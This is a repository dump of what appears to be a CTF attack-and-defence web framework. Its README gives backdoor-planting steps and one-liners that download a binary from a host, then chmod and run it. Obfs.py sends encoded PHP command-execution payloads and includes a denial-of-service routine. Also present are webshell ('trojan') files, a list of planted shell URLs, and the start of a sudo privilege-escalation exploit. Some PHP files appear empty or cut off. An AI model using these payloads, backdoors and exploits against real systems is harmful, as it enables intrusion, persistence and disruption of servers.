├── bash ├── check ├── slaves.txt ├── catchslaves.py ├── backdoor.c ├── cmd_server.py └── base.txt ├── setting.pyc ├── upload ├── readme.txt ├── psguard_apache2 ├── .config.php ├── trojan │ ├── .config.php │ ├── xor.php │ ├── chr.php │ └── memory.php ├── writable.php ├── filecmp_huasir.py └── log.php ├── FlagManage ├── flag.db3 ├── util.pyc ├── dbinit.pyc ├── log │ ├── Log.pyc │ ├── color.pyc │ ├── __init__.pyc │ ├── __init__.py │ ├── color.py │ └── Log.py ├── README.md ├── main.py ├── dbinit.py └── util.py ├── spare ├── web-apache2.zip ├── cmd5.py ├── reap_flag.py ├── pcap_classify.py ├── curl_nginx.php ├── assist.py ├── auxiliary.py ├── lottery.py └── psguard.py ├── getRoot ├── POC │ ├── sudo-CVE-2017-1000367.png │ ├── release │ │ ├── 32 │ │ │ ├── CVE-2017-6074_poc │ │ │ ├── CVE-2016-5195_dirtyc0w │ │ │ └── sudo-CVE-2017-1000367 │ │ └── 64 │ │ │ ├── CVE-2017-6074_poc │ │ │ ├── CVE-2016-5195_dirtyc0w │ │ │ ├── sudo-CVE-2017-1000367 │ │ │ └── CVE-2016-8655_chocobo_root │ ├── sudo-CVE-2017-1000367.c │ ├── CVE-2016-5195_dirtyc0w.c │ ├── Nginx-root-CVE-2016-1247 │ │ ├── Example.txt │ │ └── nginxed-root.sh │ └── CVE-2017-6074_poc.c └── Linux_Exploit_Suggester.pl ├── hackhttp ├── .gitignore ├── test │ ├── hhtest_post.py │ ├── hhtest_raw.py │ └── wooyun_spider.py ├── setup.py ├── hackhttp │ ├── __init__.py │ └── hackhttp.py ├── README.md └── GPL-2.0 ├── setting.py ├── repost.py ├── Inspect.py ├── Obfs.py ├── README.md ├── Beat.py ├── log └── 127.0.0.1.txt └── hackhttp.md /bash/check: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/bash/check -------------------------------------------------------------------------------- /setting.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/setting.pyc -------------------------------------------------------------------------------- /upload/readme.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/upload/readme.txt -------------------------------------------------------------------------------- /FlagManage/flag.db3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/FlagManage/flag.db3 -------------------------------------------------------------------------------- /FlagManage/util.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/FlagManage/util.pyc -------------------------------------------------------------------------------- /FlagManage/dbinit.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/FlagManage/dbinit.pyc -------------------------------------------------------------------------------- /FlagManage/log/Log.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/FlagManage/log/Log.pyc -------------------------------------------------------------------------------- /spare/web-apache2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/spare/web-apache2.zip -------------------------------------------------------------------------------- /upload/psguard_apache2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/upload/psguard_apache2 -------------------------------------------------------------------------------- /FlagManage/log/color.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/FlagManage/log/color.pyc -------------------------------------------------------------------------------- /FlagManage/log/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/FlagManage/log/__init__.pyc -------------------------------------------------------------------------------- /FlagManage/log/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | from Log import * 5 | from color import * 6 | -------------------------------------------------------------------------------- /getRoot/POC/sudo-CVE-2017-1000367.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/getRoot/POC/sudo-CVE-2017-1000367.png -------------------------------------------------------------------------------- /hackhttp/.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | *.egg-info 3 | *.py[cod] 4 | .svn 5 | sdist 6 | *.swp 7 | .idea/ 8 | dist/ 9 | build/ 10 | -------------------------------------------------------------------------------- /getRoot/POC/release/32/CVE-2017-6074_poc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/getRoot/POC/release/32/CVE-2017-6074_poc -------------------------------------------------------------------------------- /getRoot/POC/release/64/CVE-2017-6074_poc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/getRoot/POC/release/64/CVE-2017-6074_poc -------------------------------------------------------------------------------- /setting.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | PATTERN = '[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}' 4 | SUBMIT_URL = 'http://127.0.0.1:6666/flag/' -------------------------------------------------------------------------------- /getRoot/POC/release/32/CVE-2016-5195_dirtyc0w: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/getRoot/POC/release/32/CVE-2016-5195_dirtyc0w -------------------------------------------------------------------------------- /getRoot/POC/release/32/sudo-CVE-2017-1000367: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/getRoot/POC/release/32/sudo-CVE-2017-1000367 -------------------------------------------------------------------------------- /getRoot/POC/release/64/CVE-2016-5195_dirtyc0w: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/getRoot/POC/release/64/CVE-2016-5195_dirtyc0w -------------------------------------------------------------------------------- /getRoot/POC/release/64/sudo-CVE-2017-1000367: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/getRoot/POC/release/64/sudo-CVE-2017-1000367 -------------------------------------------------------------------------------- /getRoot/POC/release/64/CVE-2016-8655_chocobo_root: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dahua966/WEB-AWD-Framework/HEAD/getRoot/POC/release/64/CVE-2016-8655_chocobo_root -------------------------------------------------------------------------------- /upload/.config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /upload/trojan/.config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /upload/trojan/xor.php: -------------------------------------------------------------------------------- 1 | "]); 5 | ?> -------------------------------------------------------------------------------- /upload/trojan/chr.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /spare/cmd5.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import sys 3 | 4 | passwd = open('password.txt','rb').readlines() 5 | 6 | if len(sys.argv)<2: 7 | print "Usage:" 8 | print "python cmd5.py hash_value" 9 | break 10 | else: 11 | md5 = sys.argv[1] 12 | for p in passwd: 13 | if hashlib.md5(p.strip()).hexdigest() == md5: 14 | print "key found: " + p 15 | exit 16 | 17 | -------------------------------------------------------------------------------- /FlagManage/README.md: -------------------------------------------------------------------------------- 1 | ## 注意事项 2 | 链接sqlite3时路径中不能有中文,所以该文件夹要放在英文目录下使用。 3 | 4 | ## 使用流程 5 | - python dbinit.py 创建数据库 6 | - 修改util.py中的参数 7 | - python main.py 8 | - 可在另一个窗口中sqlite3 flag.db3+select * from flag 查看数据库 9 | 10 | ## 交flag方式 11 | curl 127.0.0.1:6666/flag/672f9407-27b4-4f48-a9f1-036db0438232 12 | requests.get('http://127.0.0.1:6666/flag/672f9407-27b4-4f48-a9f1-036db0438232') 13 | -------------------------------------------------------------------------------- /bash/slaves.txt: -------------------------------------------------------------------------------- 1 | http://192.168.221.132/3/gcount/styles/.web2/.config.php 2 | http://192.168.221.134/.config.php 3 | http://192.168.221.134/.config.php 4 | http://192.168.221.134/.config.php 5 | http://192.168.221.134/.config.php 6 | http://192.168.221.134/.config.php 7 | http://192.168.221.134/.config.php 8 | http://192.168.221.134/.config.php 9 | http://192.168.221.134/.config.php 10 | http://192.168.221.134/.config.php 11 | -------------------------------------------------------------------------------- /upload/trojan/memory.php: -------------------------------------------------------------------------------- 1 | 13 | -------------------------------------------------------------------------------- /hackhttp/test/hhtest_post.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding:utf-8 3 | import hackhttp 4 | 5 | hh = hackhttp.hackhttp() 6 | url = "http://127.0.0.1" 7 | post_str = "key1=val1&key2=val2" 8 | # proxy_str = ('127.0.0.1', 9119) 9 | headers_dict = { 10 | 'X-Forwarder-For': 'https://q.bugscan.net', 11 | 'Hack-Http': 'Header Dict Val' 12 | } 13 | 14 | code, head, html, redirect, log = hh.http( 15 | url, post=post_str, headers=headers_dict) 16 | 17 | print log['request'] 18 | print "=============" 19 | print log['response'] 20 | 21 | print (code, head, html, redirect) 22 | -------------------------------------------------------------------------------- /hackhttp/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding:utf-8 3 | from setuptools import setup 4 | from hackhttp import ( 5 | __title__, __version__, __author__, __url__, 6 | __author_email__, __license__) 7 | setup( 8 | name=__title__, 9 | version=__version__, 10 | description="Hackhttp is an HTTP library, written in Python.", 11 | author=__author__, 12 | author_email=__author_email__, 13 | url=__url__, 14 | license=__license__, 15 | package_data={'hackhttp': ['*.md']}, 16 | package_dir={'hackhttp': 'hackhttp'}, 17 | packages=['hackhttp'], 18 | include_package_data=True, 19 | keywords='http', 20 | ) 21 | -------------------------------------------------------------------------------- /spare/reap_flag.py: -------------------------------------------------------------------------------- 1 | from os import * 2 | import re 3 | 4 | PATTERN = 'flag\{.*\}' 5 | def traversal(path='/tmp/log'): 6 | for dir,folder,files in walk(path): 7 | for f in files: 8 | t = "%s/%s"%(dir,f) 9 | yield t 10 | 11 | def check(logs): 12 | for l in logs: 13 | with open(l) as log: 14 | line = 0 15 | for ll in log.readlines(): 16 | line += 1 17 | if re.findall(ll,PATTERN): 18 | print 'file: '+l 19 | print "line: "+str(line) 20 | 21 | if __name__ == '__main__': 22 | logs = traversal('..') 23 | for i in logs: 24 | print i 25 | # check(logs) -------------------------------------------------------------------------------- /hackhttp/test/hhtest_raw.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding:utf-8 3 | import hackhttp 4 | hh = hackhttp.hackhttp() 5 | raw = '''GET /?0=huasir&1=system(%27cat%20/tmp/flag%27); HTTP/1.1 6 | Host: 127.0.0.1 7 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 8 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 9 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 10 | Accept-Encoding: gzip, deflate 11 | Connection: keep-alive 12 | Upgrade-Insecure-Requests: 1''' 13 | 14 | code, head, html, redirect, log = hh.http('http://127.0.0.1/?0=huasir&1=system(%27cat%20/tmp/flag%27);', raw=raw) 15 | 16 | print html 17 | for i in log: 18 | print i 19 | print log[i] 20 | 21 | -------------------------------------------------------------------------------- /FlagManage/log/color.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/envpython 2 | #encoding):utf-8 3 | 4 | def black(string): 5 | return'\033[30m'+string+'\033[0m' 6 | 7 | def blue(string): 8 | return'\033[94m'+string+'\033[0m' 9 | 10 | def gray(string): 11 | return'\033[1;30m'+string+'\033[0m' 12 | 13 | def green(string): 14 | return'\033[92m'+string+'\033[0m' 15 | 16 | def cyan(string): 17 | return'\033[96m'+string+'\033[0m' 18 | 19 | def lightPurple(string): 20 | return'\033[94m'+string+'\033[0m' 21 | 22 | def purple(string): 23 | return'\033[95m'+string+'\033[0m' 24 | 25 | def red(string): 26 | return'\033[91m'+string+'\033[0m' 27 | 28 | def underline(string): 29 | return'\033[4m'+string+'\033[0m' 30 | 31 | def white(string): 32 | return'\033[0m'+string+'\033[0m' 33 | 34 | def white_2(string): 35 | return'\033[1m'+string+'\033[0m' 36 | 37 | def yellow(string): 38 | return'\033[93m'+string+'\033[0m' 39 | -------------------------------------------------------------------------------- /repost.py: -------------------------------------------------------------------------------- 1 | import hackhttp 2 | import re 3 | from setting import PATTERN 4 | 5 | hh = hackhttp.hackhttp(hackhttp.httpconpool(500)) 6 | 7 | file = open('log/127.0.0.1.txt').read() 8 | logs = file.split('------------------------------------------------------------------------------') 9 | 10 | for log in logs: 11 | try: 12 | (time,raws) = log.split('***********') 13 | raws = raws.strip() 14 | time = time.strip().split()[1].strip() 15 | # print time 16 | if time > '14:54:00' and time < '14:55:00': 17 | 18 | uri = re.findall('[POST|GET]\s(\S*)\sHTTP',raws)[0] 19 | 20 | _, _, html, _, log = hh.http('http://127.0.0.1'+uri, raw = raws, headers={"Local": "1"}) 21 | #true paylaod or not 22 | # if 'flag' in html: 23 | print log['request'] 24 | print '-'*100 25 | except Exception: 26 | print log 27 | pass 28 | 29 | 30 | -------------------------------------------------------------------------------- /hackhttp/test/wooyun_spider.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding:utf-8 3 | from thread_pool import ThreadPool 4 | import hackhttp 5 | import re 6 | import os 7 | 8 | hh = hackhttp.hackhttp(hackhttp.httpconpool(500)) 9 | tp = ThreadPool(500) 10 | package = "wooyun" 11 | 12 | if not os.path.exists(package): 13 | os.mkdir(package) 14 | 15 | 16 | def vlun(wid): 17 | print "[+]%s" % wid 18 | if os.path.isfile(wid + ".html"): 19 | return 20 | _, _, html, _, _ = hh.http( 21 | url="http://wooyun.org/bugs/%s" % wid, cookcookie=False) 22 | open(package + "/" + wid + '.html', 'wb').write(html) 23 | 24 | 25 | def catalog(page): 26 | _, _, html, _, _ = hh.http( 27 | url="http://wooyun.org/bugs/new_public/page/%d" % page, 28 | cookcookie=False) 29 | for wid in re.findall(r'href="/bugs/(wooyun-\d+-\d+)">', html): 30 | tp.add_task(vlun, wid) 31 | if page > 0: 32 | tp.add_task(catalog, page - 1) 33 | 34 | tp.add_task(catalog, 1925) 35 | -------------------------------------------------------------------------------- /FlagManage/log/Log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import color 5 | import sys 6 | 7 | class Log(): 8 | @staticmethod 9 | def _print(word): 10 | sys.stdout.write(word) 11 | sys.stdout.flush() 12 | 13 | @staticmethod 14 | def info(word): 15 | Log._print(color.white("[*] %s\n" %word)) 16 | 17 | @staticmethod 18 | def warning(word): 19 | Log._print(color.yellow("[!] %s\n" % word)) 20 | 21 | @staticmethod 22 | def error(word): 23 | Log._print(color.red("[-] %s\n" % word)) 24 | 25 | @staticmethod 26 | def success(word): 27 | Log._print(color.green("[+] %s\n" % word)) 28 | 29 | @staticmethod 30 | def query(word): 31 | Log._print(color.underline("[?] %s\n" % word)) 32 | 33 | @staticmethod 34 | def wait(word): 35 | Log._print(color.cyan("[.] %s\n" % word)) 36 | 37 | @staticmethod 38 | def banner(context): 39 | Log._print(color.purple("%s" % context)) 40 | 41 | @staticmethod 42 | def console(header): 43 | Log._print(color.red(header)) 44 | -------------------------------------------------------------------------------- /upload/writable.php: -------------------------------------------------------------------------------- 1 | "; 34 | read_all($temp); 35 | } 36 | } 37 | } 38 | } 39 | // $dir = isset($argv[1]) ? $argv[1] : '/var/www/html'; 40 | $dir = isset($_GET[123]) ? $_GET[123] : '/var/www/html'; 41 | print exec('whoami')." is scanning dir: ".$dir."
"; 42 | read_all($dir); 43 | ?> -------------------------------------------------------------------------------- /spare/pcap_classify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF-8 -*- 3 | from scapy.all import * 4 | import sys 5 | 6 | CUI = False 7 | HOST = '172.10.10.11' 8 | 9 | if CUI and len(sys.argv) < 2: 10 | print "python pcap_analysis.py " 11 | 12 | filename = sys.argv[1] 13 | 14 | 15 | def parse(pcap,menu): 16 | table = {} 17 | for i in range(len(pcap)): 18 | try: 19 | if pcap[i][Raw].load: 20 | payload = pcap[i][Raw].load 21 | else: 22 | payload = "" 23 | 24 | if pcap[i][IP].src == HOST: 25 | ip_addr = pcap[i][IP].dst 26 | elif pcap[i][IP].dst == HOST: 27 | ip_addr = pcap[i][IP].src 28 | 29 | table[ip_addr].append(payload) 30 | except IndexError: 31 | pass 32 | except KeyError: 33 | table[ip_addr] = [] 34 | pass 35 | for key,value in table.items(): 36 | fp = open("log/"+menu+'/'+key+".txt","w") 37 | for payload in value: 38 | fp.write("\r\n") 39 | fp.write(payload) 40 | fp.close() 41 | 42 | 43 | if __name__ == '__main__': 44 | if CUI: 45 | filename = sys.argv[1] 46 | filename = '2018-09-05-1.pcap' 47 | pcap = rdpcap(filename) 48 | parse(pcap,filename[:filename.index('.')]) -------------------------------------------------------------------------------- /FlagManage/main.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import tornado.httpserver 3 | import tornado.ioloop 4 | import tornado.options 5 | import tornado.web 6 | from util import * 7 | 8 | TEST = False 9 | 10 | from tornado.options import define, options 11 | define("port", default=6666, help="run on the given port", type=int) 12 | define('address', default='0.0.0.0', help='binding at given address', type=str) 13 | 14 | class IndexHandler(tornado.web.RequestHandler): 15 | def get(self): 16 | self.write("please curl/wget myip/flag/(real flag)\n example: curl '127.0.0.1:6666/flag/flag{xxxxxx}'") 17 | 18 | class PostFlagHandler(tornado.web.RequestHandler): 19 | def get(self,data): 20 | data = data.strip() 21 | if TEST: 22 | print '[+]Data: '+data 23 | else: 24 | res = postflag(data) 25 | self.write(res) 26 | 27 | def main(): 28 | tornado.options.parse_command_line() 29 | app = tornado.web.Application( 30 | handlers=[(r'/', IndexHandler), (r'/flag/(.*)', PostFlagHandler)], 31 | debug=False 32 | ) 33 | http_server = tornado.httpserver.HTTPServer(app) 34 | http_server.listen(options.port,options.address) 35 | t = threading.Thread(target=tornado.ioloop.IOLoop.instance().start) 36 | t.daemon = True 37 | t.start() 38 | cmd_server() 39 | 40 | if __name__ == '__main__': 41 | main() -------------------------------------------------------------------------------- /spare/curl_nginx.php: -------------------------------------------------------------------------------- 1 | $value) { 13 | if(in_array($key, array('User-Agent','Accept','Accept-Language','Accept-Encoding','Referer','Origin'))) 14 | $extraHeaders[] = $key.': '.$value; 15 | } 16 | $ch = curl_init(); 17 | curl_setopt($ch, CURLOPT_URL, 'http://'.$remoteDomain.$_SERVER["REQUEST_URI"]); 18 | 19 | if ($_SERVER['REQUEST_METHOD'] == 'POST'){ 20 | $post_data = file_get_contents('php://input'); 21 | if(isset($_FILES)){ 22 | $filename = array_keys($_FILES)[0]; 23 | $post_data = $_POST; 24 | $post_data[$filename] = '@'.$_FILES[$filename]['tmp_name']; 25 | } 26 | curl_setopt($ch, CURLOPT_POST, TRUE); 27 | @curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); 28 | } 29 | curl_setopt($ch, CURLOPT_HTTPHEADER, $extraHeaders); 30 | if (isset($headers['Cookie'])){ 31 | curl_setopt($ch, CURLOPT_COOKIE, $headers['Cookie']); 32 | } 33 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 34 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 35 | $response = curl_exec($ch); 36 | curl_close($ch); 37 | echo $response; 38 | exit(); 39 | } -------------------------------------------------------------------------------- /Inspect.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def Inspection(iprange,port="80",figure="200",page="/"): 4 | ip = iprange.split('.') 5 | if not page.startswith('/'): 6 | page = '/' + page 7 | res = [] 8 | target = [] 9 | krange = [] 10 | for i in ip[1:]: 11 | ran = i.split('-') 12 | if len(ran) == 1: 13 | krange.append((i,i)) 14 | elif len(ran) == 2: 15 | krange.append((ran[0],ran[1])) 16 | for a in xrange(int(krange[0][0]),int(krange[0][1])+1): 17 | for b in xrange(int(krange[1][0]),int(krange[1][1])+1): 18 | for c in xrange(int(krange[2][0]),int(krange[2][1])+1): 19 | target.append(("%s.%d.%d.%d:%s%s"%(ip[0],a,b,c,port,page),"%s.%d.%d.%d:%s"%(ip[0],a,b,c,port))) 20 | if figure == 'all': 21 | for t in target: 22 | res.append(t[1]) 23 | return res 24 | # print target 25 | for i in target: 26 | #filter by figure 27 | try: 28 | response = requests.get(i[0],timeout=3) 29 | cont = response.content 30 | code = response.status_code 31 | except: 32 | cont = '' 33 | code = 404 34 | if figure == '200' and code == 200: 35 | res.append(i[1]) 36 | elif figure in cont: 37 | res.append(i[1]) 38 | return res 39 | 40 | #huasir 41 | def I(): 42 | iprange = 'http://172.16.10-40.13' 43 | port = "80" 44 | figure = "200" 45 | page = "/" 46 | print Inspection(iprange,port,figure,page) 47 | 48 | if __name__ == '__main__': 49 | I() -------------------------------------------------------------------------------- /Obfs.py: -------------------------------------------------------------------------------- 1 | #-*- coding: utf-8 -*- 2 | import requests 3 | import hackhttp 4 | import thread_pool 5 | from setting import PATTERN,SUBMIT_URL 6 | import re 7 | 8 | def submitflag(flag): 9 | requests.get(SUBMIT_URL+flag) 10 | 11 | class Obfsing(): 12 | def __init__(self,url): 13 | self.url = url 14 | self.sess = requests.session() 15 | self.hh = hackhttp.hackhttp(hackhttp.httpconpool()) 16 | self.tp = thread_pool.ThreadPool(500) 17 | self.headers = headers_dict = { 18 | 'X-Forwarder-For': '192.168.1.1', 19 | } 20 | 21 | def obfs(self): 22 | print '[*]Obfsing '+self.url 23 | gets = ["/?token=highlight_file(%22/flag%22);","/?batch=c3lzdGVtKCJjYXQgL2ZsYWciKTs=","/?q=ZWNobyBmaWxlX2dldF9jb250ZW50cygiL2ZsYWciKTs=","/?file=print_r(file_get_contents(%22/flag%22));"] 24 | posts = [('/','ajax_html_ids=c3lzdGVtKCJjYXQgL2ZsYWciKTs='),('/','nid=cHJpbnRfcihmaWxlX2dldF9jb250ZW50cygiL2ZsYWciKSk7')] 25 | for g in gets: 26 | code, _, _, _, _ = self.hh.http(self.url+g) 27 | print code 28 | for p in posts: 29 | code, _, _, _, _ = self.hh.http(self.url+p[0],post = p[1]) 30 | print code 31 | 32 | def DOS(self): 33 | print '[*]DOSing '+self.url 34 | requests.get(url+'/index.php?id='+'A'*0x1000,timeout=2) 35 | #huasir 36 | 37 | 38 | def O(): 39 | targets = ['http://192.168.221.132'] 40 | for tt in targets: 41 | BB = Obfsing(tt) 42 | BB.obfs() 43 | 44 | def main(): 45 | O() 46 | 47 | if __name__ == '__main__': 48 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Introduction 2 | This framework is used to help enjoy the AWD-web in CTF. 3 | Maybe in the future we can expand it into a common security test platform. 4 | 5 | ### 根目录 6 | - Beat.py 攻击脚本 7 | 8 | ### 修改内容 9 | - setting.py里面flag的格式 10 | - 交flag机的参数 11 | - contro.py里面交flag的函数 12 | - backdoor.c 里面回连IP 13 | - filecmp里面文件夹位置 14 | 15 | ### 防御 16 | - (找到代码位置)拖源代码 17 | - 自己给自己上一句话,用www-data的权限给自己回连内存马 18 | - 文件监控 19 | - 抓流量* 20 | - 流量分析 21 | - 交flag机调试成功 22 | 23 | ### 攻击 24 | - webshell扫描一波 25 | - 发现目标页面 26 | - 批量攻击 27 | - 上马 28 | - gcc -o check backdoor.c -lpthread -g 29 | - cd /tmp&&wget -O check 192.168.1.143/upload/check&&chmod +x check&&./check 30 | - cd /tmp;curl -o check 192.168.1.143/check;chmod +x check;./check 31 | - 垃圾流量 32 | 33 | ### notice 34 | - www-data 无法直接反弹shell,不能执行python -c 35 | - 无法写日志:open_basedir限制,或/tmp权限不足(chmod 777 -R /tmp/log; chown www-data:www-data -R /tmp/log) 36 | 37 | 38 | ### 运维命令 39 | #### 源码备份 40 | - cd /var/www/html && zip -r www.zip ./* 41 | - scp (-i id_rsa) root@127.0.0.1:/var/www/html/www.zip ./ 42 | - 或者直接 scp (-i id_rsa) -r root@127.0.0.1:/var/www/html/ ./www 43 | - 数据库备份 mysqldump -u root -p test(数据库名) > test.sql 44 | #### 检查flag 45 | - find -name "*.txt" | xargs cat | grep -B 10 -E "\w{4}-\w{4}-\w{4}-\w{4}-\w{3}-\w{4}" 46 | #### 上WAF 47 | - find /var/www/html -name "*.php"|xargs sed -i "s#>> import hackhttp 20 | >>> hh = hackhttp.hackhttp() 21 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net') 22 | >>> code 23 | 200 24 | >>> '' in body 25 | True 26 | >>> 27 | 28 | ... or POST: 29 | 30 | >>> import hackhttp 31 | >>> hh = hackhttp.hackhttp() 32 | >>> code, head, body, redirect, log = hh.http('http://httpbin.org/post', post="key1=val1&key2=val2") 33 | >>> code 34 | 200 35 | >>> print body 36 | { 37 | ... 38 | "form": { 39 | "key1": "val1", 40 | "key2": "val2" 41 | }, 42 | ... 43 | } 44 | 45 | >>> 46 | 47 | ... or RAW: 48 | 49 | >>> import hackhttp 50 | >>> hh = hackhttp.hackhttp() 51 | >>> raw='''POST /post HTTP/1.1 52 | ... Host: httpbin.org 53 | ... User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0 54 | ... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 55 | ... Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 56 | ... Accept-Encoding: gzip, deflate 57 | ... Connection: close 58 | ... Content-Type: application/x-www-form-urlencoded 59 | ... Content-Length: 19 60 | ... 61 | ... key1=val1&key2=val2''' 62 | >>> code, head, html, redirect, log = hh.http('http://httpbin.org/post', raw=raw) 63 | >>> code 64 | 200 65 | >>> print html 66 | { 67 | ... 68 | "form": { 69 | "key1": "val1", 70 | "key2": "val2" 71 | }, 72 | ... 73 | } 74 | 75 | >>> 76 | """ 77 | 78 | __title__ = 'hackhttp' 79 | __version__ = '1.0.4' 80 | __build__ = 0x020700 81 | __author__ = 'BugScanTeam' 82 | __author_email__ = 'admin@bugscan.net' 83 | __url__ = 'https://github.com/BugScanTeam/hackhttp' 84 | __license__ = 'GPL 2.0' 85 | __copyright__ = 'Copyright 2016 Seclover' 86 | 87 | from hackhttp import * 88 | -------------------------------------------------------------------------------- /FlagManage/dbinit.py: -------------------------------------------------------------------------------- 1 | import os,time 2 | from datetime import date 3 | from sqlalchemy import Column 4 | from sqlalchemy.dialects.sqlite import FLOAT, VARCHAR, INTEGER 5 | from sqlalchemy import create_engine 6 | from sqlalchemy.orm import scoped_session, sessionmaker 7 | from sqlalchemy.ext.declarative import declarative_base 8 | 9 | ROUND_TIME = 5 #huasir 10 | START = (8,0) #huasir 11 | connect_str = 'sqlite:///%s' % os.path.join(os.getcwd(), 'flag.db3') 12 | 13 | BaseModel = declarative_base() 14 | engine = create_engine(connect_str, echo=False, pool_recycle=3600) 15 | db = scoped_session(sessionmaker(bind=engine)) 16 | 17 | def getround(now): 18 | (h, m) = now.split(':') 19 | summ = (int(h) - START[0]) * 60 + (int(m) - START[1]) 20 | return summ / ROUND_TIME + 1 21 | 22 | class Flag(BaseModel): 23 | __tablename__ = 'flag' 24 | 25 | id = Column(INTEGER, primary_key=True, autoincrement=True) 26 | flag = Column(VARCHAR(200), unique=True,nullable=True) 27 | roundd = Column(INTEGER,default=0) 28 | 29 | def __repr__(self): 30 | return '%s' % self.flag 31 | 32 | @staticmethod 33 | def clear(): 34 | result = db.query(Flag).filter(Flag.roundd < getround(time.strftime('%H:%M',time.localtime()))).delete() 35 | db.commit() 36 | print "[*]delete %d overdue flag" % result 37 | 38 | @staticmethod 39 | def getflag(): 40 | result = db.query(Flag).filter(Flag.roundd == getround(time.strftime('%H:%M',time.localtime()))).all() 41 | return result 42 | 43 | @staticmethod 44 | def ifexist(text): 45 | result = db.query(Flag).filter(Flag.flag == text).count() 46 | return result 47 | 48 | class Success(BaseModel): 49 | __tablename__ = 'success' 50 | 51 | id = Column(INTEGER, primary_key=True, autoincrement=True) 52 | flag = Column(VARCHAR(200), unique=True,nullable=True) 53 | roundd = Column(INTEGER,default=0) 54 | 55 | def __repr__(self): 56 | return '%s' % self.flag 57 | 58 | @staticmethod 59 | def ifexist(text): 60 | result = db.query(Success).filter(Success.flag == text).count() 61 | return result 62 | 63 | @staticmethod 64 | def clear(): 65 | result = db.query(Success).filter(Success.roundd < getround(time.strftime('%H:%M',time.localtime()))).delete() 66 | db.commit() 67 | print "[*]delete %d success flag" % result 68 | 69 | def main(): 70 | BaseModel.metadata.create_all(engine) 71 | 72 | if __name__ == '__main__': 73 | main() 74 | # print connect_str 75 | -------------------------------------------------------------------------------- /getRoot/POC/sudo-CVE-2017-1000367.c: -------------------------------------------------------------------------------- 1 | /* 2 | sudo-CVE-2017-1000367 3 | https://github.com/c0d3z3r0/sudo-CVE-2017-1000367 4 | http://www.openwall.com/lists/oss-security/2017/05/30/16 5 | Compile: gcc -lutil -o sudo-CVE-2017-1000367 sudo-CVE-2017-1000367.c 6 | Disclaimer: I had no clue what I was doing ;-) 7 | 8 | Requirements 9 | System must be selinux-enabled 10 | sudo needs to be built with selinux support (sudo -r) 11 | User needs to have sudo permissions e.g. "toor ALL=(ALL) NOPASSWD: /usr/bin/sum" 12 | 13 | */ 14 | 15 | #define _GNU_SOURCE 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #define EVENT_SIZE ( sizeof (struct inotify_event) ) 33 | #define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) 